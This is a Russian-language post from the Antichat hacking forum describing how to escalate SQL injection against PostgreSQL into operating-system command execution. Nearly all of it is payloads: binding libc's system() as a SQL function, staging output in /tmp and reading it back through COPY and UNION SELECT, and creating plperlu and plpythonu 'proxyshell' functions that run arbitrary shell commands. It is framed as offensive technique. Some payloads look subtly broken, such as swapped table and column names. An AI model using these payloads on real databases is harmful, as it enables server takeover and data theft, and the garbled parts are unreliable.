Показать сообщение отдельно

  #23  
Старый 01.09.2009, 06:06
Ded MustD!e
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
С нами: 9851426

Репутация: 3908
По умолчанию

Небольшое дополнение в тему создания функций.

1. В PostgreSQL < 8.1 есть возможность добавить функцию из библиотеки:

Создаем таблицу stdout с колонками id,system_out.
Цитата:
CREATE TABLE stdout(id serial, system_out text)--
Создаем функцию system().
Цитата:
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT--
Выполняем произвольную команду и записываем результат её выполнения в /tmp/test.
Цитата:
SELECT system('uname -a > /tmp/test')--
Копируем данные из /tmp/test в таблицу stdout.
Цитата:
COPY stdout(system_out) FROM '/tmp/test'--
Выводим данные на экран.
Цитата:
UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
2. Чуть подругому через plperl:

Создаем язык, если он не был создан.
Цитата:
CREATE LANGUAGE plperlu
Создаем функцию proxyshell().
Цитата:
CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;
Выполняем команду и выводим на экран.
Цитата:
SELECT+proxyshell('uname -a')::int--
3. И напоследок через plpython:

Создаем функцию proxyshell().
Цитата:
CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu;--
Наслаждаемся выполнением команд)
Цитата:
SELECT+proxyshell('uname -a')::int--
__________________
Feci, quod potui. Faciant meliora potentes.